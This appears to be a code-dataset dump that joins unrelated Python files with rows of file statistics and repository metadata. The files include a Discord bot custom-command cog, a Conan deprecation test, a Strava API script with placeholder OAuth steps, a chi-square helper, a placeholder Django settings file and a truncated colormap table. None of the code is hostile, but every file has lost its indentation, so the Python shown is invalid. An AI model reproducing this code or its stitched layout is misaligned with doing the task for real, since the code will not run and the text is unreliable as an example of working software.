await self.bot.edit_message(menu,
self.bot.bot_prefix + 'Successfully added ``{}`` to ``{}`` Invoke this response by doing: ``{}``'.format(
entry_response, entry_cmd,
customcmd_prefix + entry_cmd))
except Exception as e:
json.dump(save, commands, indent=4)
await self.bot.edit_message(menu,
self.bot.bot_prefix + 'Error, something went wrong. Exception: ``%s``' % e)
# Add complex customcmd
elif reply.content == "2":
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2795 What to add? Pick a number.\n\n1. Add new command.\n2. Add response to existing command.```')
reply = await self.check(ctx, 3, pre)
if reply:
await self.bot.delete_message(reply)
# Create new list cmd
if reply.content == '1':
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2795 Enter the cmd name.```')
reply = await self.check(ctx, 0, pre)
# Grab cmd name
if reply:
await self.bot.delete_message(reply)
entry_cmd = reply.content
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2795 Since you selected to have this cmd have multiple responses, these multiple responses must have different names to map them. Enter a response name.```')
reply = await self.check(ctx, 0, pre)
# Grab response name
if reply:
await self.bot.delete_message(reply)
entry_response = reply.content
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2795 Now enter the response.```')
reply = await self.check(ctx, 0, pre)
# Grab the response
if reply:
try:
await self.bot.delete_message(reply)
except:
pass
response = reply.content
with open('settings/commands.json', 'r+') as commands:
cmds = json.load(commands)
save = cmds
commands.seek(0)
commands.truncate()
try:
cmds[entry_cmd] = [[entry_response, response]]
json.dump(cmds, commands, indent=4)
await self.bot.edit_message(menu,
self.bot.bot_prefix + 'Successfully added response with response name ``{}`` to command ``{}`` Invoke this specific response with ``{}`` or get a random response from the list of responses for this command with ``{}``'.format(
entry_response, entry_cmd,
customcmd_prefix + entry_cmd + ' ' + entry_response,
customcmd_prefix + entry_cmd))
except Exception as e:
json.dump(save, commands, indent=4)
await self.bot.edit_message(menu,
self.bot.bot_prefix + 'Error, something went wrong. Exception: ``%s``' % e)
# Add to existing list cmd
elif reply.content == '2':
list_cmds = []
with open('settings/commands.json') as commands:
cmds = json.load(commands)
for i in cmds:
if type(cmds[i]) is list:
list_cmds.append(i)
msg = '1. '
count = 0
for count, word in enumerate(list_cmds):
msg += '{} {}.'.format(word, count + 2)
msg = msg[:-(len(str(count + 2)) + 2)]
if count == 0:
return await self.bot.edit_message(menu,
self.bot.bot_prefix + 'There are no cmds you can add multiple responses to. Create a cmd that enables multiple responses and then add a response to it.')
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2795 Enter the number of the cmd name to add a response to.\n\n {}```'.format(msg))
reply = await self.check(ctx, count + 2, pre)
if reply:
await self.bot.delete_message(reply)
entry_cmd = list_cmds[int(reply.content)-1]
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2795 Enter a response name.```')
reply = await self.check(ctx, 0, pre)
# Grab response name
if reply:
await self.bot.delete_message(reply)
entry_response = reply.content
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2795 Now enter the response.```')
reply = await self.check(ctx, 0, pre)
# Grab the response
if reply:
try:
await self.bot.delete_message(reply)
except:
pass
response = reply.content
with open('settings/commands.json', 'r+') as commands:
save = cmds
commands.seek(0)
commands.truncate()
try:
cmds[entry_cmd].append([entry_response, response])
json.dump(cmds, commands, indent=4)
await self.bot.edit_message(menu,
self.bot.bot_prefix + 'Successfully added response with response name ``{}`` to command ``{}`` Invoke this specific response with ``{}`` or get a random response from the list of responses for this command with ``{}``'.format(
entry_response, entry_cmd,
customcmd_prefix + entry_cmd + ' ' + entry_response,
customcmd_prefix + entry_cmd))
except Exception as e:
json.dump(save, commands, indent=4)
await self.bot.edit_message(menu,
self.bot.bot_prefix + 'Error, something went wrong. Exception: ``%s``' % e)
elif reply.content == '3':
await self.bot.delete_message(menu)
await self.customcommands(ctx)
else:
words = msg.strip()
with open('settings/commands.json', 'r') as commands:
cmds = json.load(commands)
save = cmds
try:
# If there are quotes in the message (meaning multiple words for each param)
if '"' in words:
entry = re.findall('"([^"]+)"', words)
# Item for key is list
if len(entry) == 3:
# Key exists
if entry[0] in cmds:
entries = []
for i in cmds[entry[0]]:
entries.append(tuple((i[0], i[1])))
entries.append(tuple([entry[1], entry[2]]))
cmds[entry[0]] = entries
else:
cmds[entry[0]] = [(entry[1], entry[2])]
# Item for key is string
else:
if entry[0] in cmds:
if type(cmds[entry[0]]) is list:
return await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Error, this is a list command. To append to this command, you need a <response name>. Ex: ``>add cmd response_name response``')
cmds[entry[0]] = entry[1]
# No quotes so spaces seperate params
else:
# Item for key is list
if len(words.split(' ')) == 3:
entry = words.split(' ', 2)
# Key exists
if entry[0] in cmds:
entries = []
for i in cmds[entry[0]]:
entries.append(tuple((i[0], i[1])))
entries.append(tuple([entry[1], entry[2]]))
cmds[entry[0]] = entries
else:
cmds[entry[0]] = [(entry[1], entry[2])]
# Item for key is string
else:
entry = words.split(' ', 1)
if entry[0] in cmds:
if type(cmds[entry[0]]) is list:
return await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Error, this is a list command. To append to this command, you need a <response name>. Ex: ``>add cmd response_name response``')
cmds[entry[0]] = entry[1]
await self.bot.send_message(ctx.message.channel,
self.bot.bot_prefix + 'Successfully added ``%s`` to ``%s``' % (entry[1], entry[0]))
except Exception as e:
with open('settings/commands.json', 'w') as commands:
commands.truncate()
json.dump(save, commands, indent=4)
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Error, something went wrong. Exception: ``%s``' % e)
# Update commands.json
with open('settings/commands.json', 'w') as commands:
commands.truncate()
json.dump(cmds, commands, indent=4)
# Remove a custom command
@commands.command(pass_context=True)
async def remove(self, ctx, *, msg: str = None):
"""Remove a customcmd. >help remove for more info.
Simply do: >remove
This will trigger the menu which you can navigate through and remove your custom command that way.
-----------------------------------------------------------
Legacy method:
>remove <command> or >remove <command> <response_name> if you want to remove a specific response for a command.
Just like with the add cmd, note that if anything you are adding/removing is more than one word, you must put each part in quotes.
Example: If "cry" is the command and "mugi why" is the name for one of the links, removing that link would be: >remove "cry" "mugi why" """
if not msg:
await self.bot.delete_message(ctx.message)
pre = ctx.message.content.split('remove')[0]
menu = await self.bot.send_message(ctx.message.channel,
self.bot.bot_prefix + '```\n\u2796 Choose what to remove. Enter a number:\n\n1. A command and all its responses.\n2. A single response from a command that has more than one.```')
reply = await self.check(ctx, 3, pre)
if reply:
await self.bot.delete_message(reply)
# Remove a cmd
if reply.content == '1':
with open('settings/commands.json') as commands:
cmds = json.load(commands)
msg = '1. '
count = 0
all_cmds = []
for count, word in enumerate(cmds):
all_cmds.append(word)
msg += '{} {}.'.format(word, count + 2)
msg = msg[:-(len(str(count + 2)) + 2)]
if count == 0:
return await self.bot.edit_message(menu,
self.bot.bot_prefix + 'There are no cmds to remove.')
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2796 Enter the number of the cmd to remove.\n\n {}```'.format(
msg))
reply = await self.check(ctx, count + 2, pre)
if reply:
await self.bot.delete_message(reply)
with open('settings/commands.json', 'r+') as commands:
save = cmds
commands.seek(0)
commands.truncate()
try:
cmd_to_remove = all_cmds[int(reply.content) - 1]
del cmds[cmd_to_remove]
json.dump(cmds, commands, indent=4)
await self.bot.edit_message(menu,
self.bot.bot_prefix + 'Successfully removed command ``{}``'.format(cmd_to_remove))
except Exception as e:
json.dump(save, commands, indent=4)
await self.bot.edit_message(menu,
self.bot.bot_prefix + 'Error, something went wrong. Exception: ``%s``' % e)
# Remove a specific response from a cmd
elif reply.content == '2':
list_cmds = []
with open('settings/commands.json') as commands:
cmds = json.load(commands)
for i in cmds:
if type(cmds[i]) is list:
list_cmds.append(i)
msg = '1. '
count = 0
for count, word in enumerate(list_cmds):
msg += '{} {}.'.format(word, count + 2)
msg = msg[:-(len(str(count + 2)) + 2)]
if count == 0:
return await self.bot.edit_message(menu,
self.bot.bot_prefix + 'There are no cmds with multiple responses. If you are looking to remove a cmd with just one response, select 1 in the main menu for this command.')
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2796 Enter the number of the cmd that you want to remove a response from.\n\n {}```'.format(
msg))
reply = await self.check(ctx, count + 2, pre)
# List responses from this cmd
if reply:
await self.bot.delete_message(reply)
cmd_to_remove_from = list_cmds[int(reply.content) - 1]
cmd_responses = []
msg = '1. '
count = 0
for count, word in enumerate(cmds[cmd_to_remove_from]):
cmd_responses.append(word[0])
msg += '{} {}.'.format(word[0], count + 2)
msg = msg[:-(len(str(count + 2)) + 2)]
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2796 Enter the number of the response to remove.\n\n {}```'.format(
msg))
reply = await self.check(ctx, count + 2, pre)
if reply:
await self.bot.delete_message(reply)
with open('settings/commands.json', 'r+') as commands:
save = cmds
commands.seek(0)
commands.truncate()
try:
response_to_remove = cmd_responses[int(reply.content) - 1]
for i in cmds[cmd_to_remove_from]:
if i[0] == response_to_remove:
cmds[cmd_to_remove_from].remove(i)
if cmds[cmd_to_remove_from] == []:
del cmds[cmd_to_remove_from]
json.dump(cmds, commands, indent=4)
await self.bot.edit_message(menu,
self.bot.bot_prefix + 'Successfully removed response with name ``{}`` from command ``{}``'.format(
response_to_remove, cmd_to_remove_from))
except Exception as e:
json.dump(save, commands, indent=4)
await self.bot.edit_message(menu,
self.bot.bot_prefix + 'Error, something went wrong. Exception: ``%s``' % e)
else:
words = msg.strip()
with open('settings/commands.json', 'r') as commands:
cmds = json.load(commands)
save = cmds
try:
# If there are quotes in the message (meaning multiple words for each param)
success = False
def check(msg):
if msg:
return msg.content.lower().strip() == 'y' or msg.content.lower().strip() == 'n'
else:
return False
if '"' in words:
entry = re.findall('"([^"]+)"', words)
# Item for key is list
if len(entry) == 2:
# Key exists
if entry[0] in cmds:
entries = []
for i in cmds[entry[0]]:
if entry[1] == i[0]:
cmds[entry[0]].remove(i)
await self.bot.send_message(ctx.message.channel,
self.bot.bot_prefix + 'Successfully removed ``%s`` from ``%s``' % (
entry[1], entry[0]))
success = True
else:
if entry[0] in cmds:
del cmds[entry[0]]
success = True
await self.bot.send_message(ctx.message.channel,
self.bot.bot_prefix + 'Successfully removed ``%s`` from ``%s``' % (
entry[1], entry[0]))
# Item for key is string
else:
if entry[0] in cmds:
if type(cmds[entry[0]]) is list:
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'This will delete all responses for this list command. Are you sure you want to do this? (y/n).')
reply = await self.bot.wait_for_message(timeout=10, author=ctx.message.author, check=check)
if reply:
if reply.content.lower().strip() == 'n':
return await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Cancelled.')
else:
return await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Cancelled.')
oldValue = cmds[entry[0]]
del cmds[entry[0]]
success = True
await self.bot.send_message(ctx.message.channel,
self.bot.bot_prefix + 'Successfully removed ``%s`` from ``%s``' % (oldValue, entry[0]))
# No quotes so spaces seperate params
else:
# Item for key is list
if len(words.split(' ')) == 2:
entry = words.split(' ')
# Key exists
if entry[0] in cmds:
for i in cmds[entry[0]]:
if entry[1] == i[0]:
cmds[entry[0]].remove(i)
await self.bot.send_message(ctx.message.channel,
self.bot.bot_prefix + 'Successfully removed ``%s`` from ``%s``' % (
entry[1], entry[0]))
success = True
else:
if entry[0] in cmds:
del cmds[entry[0]]
success = True
await self.bot.send_message(ctx.message.channel,
self.bot.bot_prefix + 'Successfully removed ``%s`` from ``%s``' % (entry[1], entry[0]))
# Item for key is string
else:
entry = words.split(' ', 1)
if entry[0] in cmds:
if type(cmds[entry[0]]) is list:
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'This will delete all responses for this list command. Are you sure you want to do this? (y/n).')
reply = await self.bot.wait_for_message(timeout=10, author=ctx.message.author, check=check)
if reply:
if reply.content.lower().strip() == 'n':
return await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Cancelled.')
else:
return await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Cancelled.')
oldValue = cmds[entry[0]]
del cmds[entry[0]]
success = True
await self.bot.send_message(ctx.message.channel,
self.bot.bot_prefix + 'Successfully removed ``%s`` from ``%s``' % (oldValue, entry[0]))
if success is False:
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Could not find specified command.')
except Exception as e:
with open('settings/commands.json', 'w') as commands:
commands.truncate()
json.dump(save, commands, indent=4)
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Error, something went wrong. Exception: ``%s``' % e)
# Update commands.json
with open('settings/commands.json', 'w') as commands:
commands.truncate()
json.dump(cmds, commands, indent=4)
def setup(bot):
bot.add_cog(Customcmds(bot))
| 54.2977 | 303 | 0.427653 | 3,896 | 40,126 | 4.337269 | 0.089322 | 0.05551 | 0.056101 | 0.050183 | 0.718842 | 0.684223 | 0.658303 | 0.635756 | 0.628832 | 0.611611 | 0 | 0.01274 | 0.47772 | 40,126 | 738 | 304 | 54.371274 | 0.793577 | 0.023027 | 0 | 0.707052 | 0 | 0.027125 | 0.129312 | 0.013449 | 0 | 0 | 0 | 0 | 0 | 1 | 0.007233 | false | 0.023508 | 0.012658 | 0 | 0.050633 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4aff2b0d1242c56928411ddc82bd66b64c1a285c | 656 | py | Python | conans/test/conan_v2/tools/test_tools_win.py | matthiasng/conan | 634eadc319da928084633a344d42785edccb8d6c | [
"MIT"
] | 6,205 | 2015-12-01T13:40:05.000Z | 2022-03-31T07:30:25.000Z | conans/test/conan_v2/tools/test_tools_win.py | matthiasng/conan | 634eadc319da928084633a344d42785edccb8d6c | [
"MIT"
] | 8,747 | 2015-12-01T16:28:48.000Z | 2022-03-31T23:34:53.000Z | conans/test/integration/conan_v2/tools/test_tools_win.py | Mattlk13/conan | 005fc53485557b0a570bb71670f2ca9c66082165 | [
"MIT"
] | 961 | 2015-12-01T16:56:43.000Z | 2022-03-31T13:50:52.000Z | import six
from conans import tools
from conans.errors import ConanV2Exception
from conans.test.utils.conan_v2_tests import ConanV2ModeTestCase
class ToolsWinTestCase(ConanV2ModeTestCase):
def test_msvc_build_command(self):
with six.assertRaisesRegex(self, ConanV2Exception, "Conan v2 incompatible: 'tools.msvc_build_command' is deprecated"):
tools.msvc_build_command(settings=None, sln_path=None)
def test_build_sln_command(self):
with six.assertRaisesRegex(self, ConanV2Exception, "Conan v2 incompatible: 'tools.build_sln_command' is deprecated"):
tools.build_sln_command(settings=None, sln_path=None)
| 41 | 126 | 0.782012 | 81 | 656 | 6.111111 | 0.358025 | 0.060606 | 0.09697 | 0.072727 | 0.440404 | 0.440404 | 0.319192 | 0.319192 | 0.319192 | 0.319192 | 0 | 0.014235 | 0.143293 | 656 | 15 | 127 | 43.733333 | 0.866548 | 0 | 0 | 0 | 0 | 0 | 0.190549 | 0.077744 | 0 | 0 | 0 | 0 | 0.181818 | 1 | 0.181818 | false | 0 | 0.363636 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
ab049d4c3f18c8d671b5388d405d6a4abdbf38d8 | 4,921 | py | Python | src/StravaAnalysisTool_Main.py | huaminghuangtw/Strava-Tool | 537b2f9842e405bd9e9cd66ebc0c5f5c2084b957 | [
"MIT"
] | 4 | 2022-01-06T15:56:53.000Z | 2022-02-02T16:44:15.000Z | src/StravaAnalysisTool_Main.py | huaminghuangtw/Strava-Tool | 537b2f9842e405bd9e9cd66ebc0c5f5c2084b957 | [
"MIT"
] | null | null | null | src/StravaAnalysisTool_Main.py | huaminghuangtw/Strava-Tool | 537b2f9842e405bd9e9cd66ebc0c5f5c2084b957 | [
"MIT"
] | null | null | null | from authentication import *
from StravaAnalysisTool_Kernel import *
# ----------------------------------------------------------------------------------------------------------------------
#
# Step by step:
# 1) Get authorization code from authorization page. This is a one-time, manual step.
# Paste the below code in a browser, hit enter then grab the "code" part from the resulting url.
#
# https://www.strava.com/oauth/authorize?client_id=your_client_id&redirect_uri=http://localhost&response_type=code&scope=activity:read_all,activity:write
#
# 2) Make a POST request to Strava: exchange authorization code for access token & refresh token (This also only needs to be done once)
#
# https://www.strava.com/oauth/token?client_id=your_client_id&client_secret=your_client_secret&code=your_code_from_previous_step&grant_type=authorization_code
#
# 3) View your activities using the access token just received from 2)
#
# https://www.strava.com/api/v3/athlete/activities?access_token=access_token_from_previous_step
#
# 4) Use refresh token to get new access tokens (i.e., getNewAccessTokens())
#
# https://www.strava.com/oauth/token?client_id=your_client_id&client_secret=your_client_secret&refresh_token=your_refresh_token_from_previous_step&grant_type=refresh_token
#
# ----------------------------------------------------------------------------------------------------------------------
def main():
"""
Since access tokens expire after 5 hours and you don't want to have to do all the manual work (step 1&2) all over again.
So, We first makes a call using the refresh token to retrieve the the most recent access token to ensure your program will always run!
"""
print(r"""
_____ _ _ _ _______ _
/ ____|| | /\ | | (_) |__ __| | |
| (___ | |_ _ __ __ _ __ __ __ _ / \ _ __ __ _ | | _ _ ___ _ ___ | | ___ ___ | |
\___ \ | __|| '__|/ _` |\ \ / // _` | / /\ \ | '_ \ / _` || || | | |/ __|| |/ __|| | / _ \ / _ \ | |
____) || |_ | | | (_| | \ V /| (_| | / ____ \ | | | || (_| || || |_| |\__ \| |\__ \| || (_) || (_) || |
|_____/ \__||_| \__,_| \_/ \__,_|/_/ \_\|_| |_| \__,_||_| \__, ||___/|_||___/|_| \___/ \___/ |_|
__/ |
|___/
""")
new_access_token = get_New_Access_Tokens()
## Getting activity data from Strava
my_dataset = get_Latest_Activity_Data(new_access_token, 1)
#my_dataset = get_All_Activity_Data(new_access_token)
#my_dataset = get_Timeinterval_Activity_Data(new_access_token, "1546300799", "1514764800")
print( json.dumps(my_dataset, indent=4, sort_keys=True) ) # pretty printing a json file
# ============================================
# Data Manipulation & Analysis & Visualization
# ============================================
#activities = pd.json_normalize(my_dataset) # pandas.json_normalize: normalizes semi-structured JSON data into a flat "table".
# print(activities.columns) # list of all column names in the table
# print(activities.shape) # dimensions of the table
#activities = create_Activity_DataFrame(activities)
#print(activities.head(5))
# activities.to_csv('myfile.csv')
# for id in activities['id']:
# if id == 4912393140:
# print( activities[activities['id'] == id][['type', 'external_id', 'start_date_local']] )
# activities[activities['id'] == id].to_csv('myfile.csv')
# break
# if id == activities['id'].iloc[-1]:
# print( "This activity doesn't exist!" )
# print("\n")
# Break start date into start time and date
#activities['start_date_local'] = pd.to_datetime(activities['start_date_local'])
#activities['start_time'] = activities['start_date_local'].dt.time
#activities['start_date'] = activities['start_date_local'].dt.date
#print(activities.head(5))
#print( activities['type'].value_counts() )
# rides = activities.loc[activities['type'] == 'Ride']
# virtualrides = activities.loc[activities['type'] == 'VirtualRide']
# hike = activities.loc[activities['type'] == 'Hike']
# run = activities.loc[activities['type'] == 'Run']
#plot_colour_palette = ["#2C3E50", "#E74C3C", "#ECF0F1", "#3498DB", "#2980B9",
# "#195962", "#F56F6C", "#FFFFFF", "#252932", "#191C21"]
#display_Activity_Count_Plot(activities, plot_colour_palette)
#display_Summary_Statistics(activities)
if __name__ == "__main__":
main() | 46.866667 | 172 | 0.550701 | 490 | 4,921 | 5.028571 | 0.404082 | 0.040179 | 0.028409 | 0.027597 | 0.163961 | 0.060877 | 0.060877 | 0.060877 | 0.060877 | 0.060877 | 0 | 0.022441 | 0.257468 | 4,921 | 105 | 173 | 46.866667 | 0.651888 | 0.677505 | 0 | 0 | 0 | 0.222222 | 0.620789 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0.111111 | 0 | 0.166667 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ab0a259c7a9d649d1b5738e936b2937c53470ba0 | 731 | py | Python | chameleon/legacy/skfeature/function/statistical_based/chi_square.py | diviyat/chameleon | 12c212ef3ecaab73e6b2a4ae378b25495926ad75 | [
"MIT"
] | 2 | 2021-10-21T23:09:00.000Z | 2021-12-14T07:55:43.000Z | chameleon/legacy/skfeature/function/statistical_based/chi_square.py | diviyat/chameleon | 12c212ef3ecaab73e6b2a4ae378b25495926ad75 | [
"MIT"
] | null | null | null | chameleon/legacy/skfeature/function/statistical_based/chi_square.py | diviyat/chameleon | 12c212ef3ecaab73e6b2a4ae378b25495926ad75 | [
"MIT"
] | null | null | null | import numpy as np
from sklearn.feature_selection import chi2
def chi_square(X, y):
"""
This function implements the chi-square feature selection (existing method for classification in scikit-learn)
Input
-----
X: {numpy array}, shape (n_samples, n_features)
input data
y: {numpy array},shape (n_samples,)
input class labels
Output
------
F: {numpy array}, shape (n_features,)
chi-square score for each feature
"""
F, pval = chi2(X, y)
return F
def feature_ranking(F):
"""
Rank features in descending order according to chi2-score, the higher the chi2-score, the more important the feature is
"""
idx = np.argsort(F)
return idx[::-1] | 24.366667 | 123 | 0.642955 | 101 | 731 | 4.584158 | 0.524752 | 0.058315 | 0.097192 | 0.103672 | 0.099352 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009174 | 0.254446 | 731 | 30 | 124 | 24.366667 | 0.840367 | 0.623803 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
ab0afa833e6d2ae387a131914250b7a8d825c988 | 145 | py | Python | tests/django/settings.py | Canalyst/postmarker | 2e43733c0ea1d579fa1f72fddbe6bae93ed99220 | [
"MIT"
] | null | null | null | tests/django/settings.py | Canalyst/postmarker | 2e43733c0ea1d579fa1f72fddbe6bae93ed99220 | [
"MIT"
] | null | null | null | tests/django/settings.py | Canalyst/postmarker | 2e43733c0ea1d579fa1f72fddbe6bae93ed99220 | [
"MIT"
] | null | null | null | # coding: utf-8
SECRET_KEY = 'foo'
EMAIL_BACKEND = 'postmarker.django.EmailBackend'
POSTMARK = {
'TOKEN': '<YOUR POSTMARK SERVER TOKEN>'
}
| 16.111111 | 48 | 0.689655 | 17 | 145 | 5.764706 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008264 | 0.165517 | 145 | 8 | 49 | 18.125 | 0.801653 | 0.089655 | 0 | 0 | 0 | 0 | 0.507692 | 0.230769 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ab0e180b5f8a149b83ac5cec5dfe82ef23050f3e | 25,638 | py | Python | cmasher/colormaps/waterlily/waterlily.py | cclauss/CMasher | 8ecaadd26e8a71bf7cf3ade493aef763612ff21b | [
"BSD-3-Clause"
] | 257 | 2019-11-16T09:41:30.000Z | 2022-03-27T09:37:18.000Z | cmasher/colormaps/waterlily/waterlily.py | cclauss/CMasher | 8ecaadd26e8a71bf7cf3ade493aef763612ff21b | [
"BSD-3-Clause"
] | 32 | 2019-12-08T23:01:42.000Z | 2022-03-04T16:55:42.000Z | cmasher/colormaps/waterlily/waterlily.py | cclauss/CMasher | 8ecaadd26e8a71bf7cf3ade493aef763612ff21b | [
"BSD-3-Clause"
] | 21 | 2020-01-09T16:04:29.000Z | 2022-01-02T19:41:16.000Z | # %% IMPORTS
# Package imports
from matplotlib.cm import register_cmap
from matplotlib.colors import ListedColormap
# All declaration
__all__ = ['cmap']
# Author declaration
__author__ = "Ellert van der Velden (@1313e)"
# Package declaration
__package__ = 'cmasher'
# %% GLOBALS AND DEFINITIONS
# Type of this colormap
cm_type = 'diverging'
# RGB-values of this colormap
cm_data = [[0.12434357, 0.00588452, 0.21400096],
[0.12931129, 0.00675787, 0.22011754],
[0.13427605, 0.00761301, 0.22627813],
[0.13923743, 0.00844618, 0.23248445],
[0.14419489, 0.00925374, 0.23873832],
[0.14914773, 0.01003226, 0.24504157],
[0.15409628, 0.01077599, 0.25139847],
[0.15903865, 0.01148361, 0.25780936],
[0.16397490, 0.01214941, 0.26427895],
[0.16890307, 0.01277188, 0.27080848],
[0.17382209, 0.01334730, 0.27740161],
[0.17873060, 0.01387220, 0.28406219],
[0.18362636, 0.01434494, 0.29079310],
[0.18850717, 0.01476335, 0.29759833],
[0.19336978, 0.01512770, 0.30448066],
[0.19821038, 0.01543943, 0.31144297],
[0.20302543, 0.01569841, 0.31849056],
[0.20780909, 0.01591090, 0.32562507],
[0.21255503, 0.01608416, 0.33284912],
[0.21725536, 0.01622978, 0.34016407],
[0.22190089, 0.01636307, 0.34757095],
[0.22647956, 0.01650931, 0.35506605],
[0.23097774, 0.01669935, 0.36264494],
[0.23537868, 0.01697681, 0.37029727],
[0.23966261, 0.01740014, 0.37800537],
[0.24380764, 0.01804107, 0.38574545],
[0.24778982, 0.01898922, 0.39348282],
[0.25158529, 0.02034719, 0.40117401],
[0.25517266, 0.02222479, 0.40876847],
[0.25853565, 0.02473093, 0.41621127],
[0.26166567, 0.02795975, 0.42345155],
[0.26456273, 0.03198252, 0.43044714],
[0.26723479, 0.03684228, 0.43716929],
[0.26969569, 0.04248896, 0.44360388],
[0.27196284, 0.04848981, 0.44974895],
[0.27405475, 0.05471025, 0.45561291],
[0.27598966, 0.06106965, 0.46121003],
[0.27778467, 0.06750507, 0.46655789],
[0.27945476, 0.07396949, 0.47167607],
[0.28101352, 0.08042854, 0.47658345],
[0.28247268, 0.08685793, 0.48129838],
[0.28384236, 0.09324093, 0.48583798],
[0.28513137, 0.09956639, 0.49021794],
[0.28634701, 0.10582750, 0.49445266],
[0.28749631, 0.11201977, 0.49855477],
[0.28858462, 0.11814153, 0.50253603],
[0.28961712, 0.12419213, 0.50640676],
[0.29059833, 0.13017201, 0.51017629],
[0.29153215, 0.13608239, 0.51385302],
[0.29242208, 0.14192500, 0.51744454],
[0.29327113, 0.14770193, 0.52095768],
[0.29408197, 0.15341549, 0.52439862],
[0.29485717, 0.15906795, 0.52777294],
[0.29559924, 0.16466147, 0.53108570],
[0.29630976, 0.17019880, 0.53434154],
[0.29699110, 0.17568189, 0.53754465],
[0.29764460, 0.18111329, 0.54069888],
[0.29827178, 0.18649525, 0.54380773],
[0.29887444, 0.19182963, 0.54687447],
[0.29945363, 0.19711869, 0.54990205],
[0.30001054, 0.20236443, 0.55289318],
[0.30054631, 0.20756873, 0.55585038],
[0.30106201, 0.21273339, 0.55877600],
[0.30155859, 0.21786013, 0.56167217],
[0.30203696, 0.22295063, 0.56454090],
[0.30249793, 0.22800646, 0.56738403],
[0.30294227, 0.23302915, 0.57020328],
[0.30337068, 0.23802016, 0.57300024],
[0.30378382, 0.24298087, 0.57577639],
[0.30418229, 0.24791260, 0.57853310],
[0.30456679, 0.25281657, 0.58127171],
[0.30493787, 0.25769398, 0.58399340],
[0.30529589, 0.26254606, 0.58669927],
[0.30564131, 0.26737393, 0.58939035],
[0.30597473, 0.27217857, 0.59206767],
[0.30629654, 0.27696100, 0.59473213],
[0.30660696, 0.28172230, 0.59738453],
[0.30690651, 0.28646330, 0.60002572],
[0.30719552, 0.29118493, 0.60265644],
[0.30747413, 0.29588812, 0.60527731],
[0.30774293, 0.30057358, 0.60788908],
[0.30800193, 0.30524222, 0.61049227],
[0.30825149, 0.30989477, 0.61308745],
[0.30849187, 0.31453196, 0.61567516],
[0.30872319, 0.31915455, 0.61825584],
[0.30894582, 0.32376318, 0.62082997],
[0.30915975, 0.32835858, 0.62339790],
[0.30936539, 0.33294131, 0.62596007],
[0.30956268, 0.33751209, 0.62851674],
[0.30975200, 0.34207144, 0.63106829],
[0.30993331, 0.34662001, 0.63361494],
[0.31010692, 0.35115830, 0.63615698],
[0.31027282, 0.35568691, 0.63869459],
[0.31043127, 0.36020633, 0.64122798],
[0.31058231, 0.36471711, 0.64375731],
[0.31072612, 0.36921970, 0.64628271],
[0.31086280, 0.37371461, 0.64880430],
[0.31099249, 0.37820230, 0.65132216],
[0.31111533, 0.38268321, 0.65383636],
[0.31123142, 0.38715778, 0.65634691],
[0.31134094, 0.39162643, 0.65885384],
[0.31144402, 0.39608958, 0.66135714],
[0.31154081, 0.40054761, 0.66385675],
[0.31163148, 0.40500090, 0.66635262],
[0.31171621, 0.40944984, 0.66884467],
[0.31179520, 0.41389476, 0.67133278],
[0.31186865, 0.41833603, 0.67381681],
[0.31193680, 0.42277397, 0.67629662],
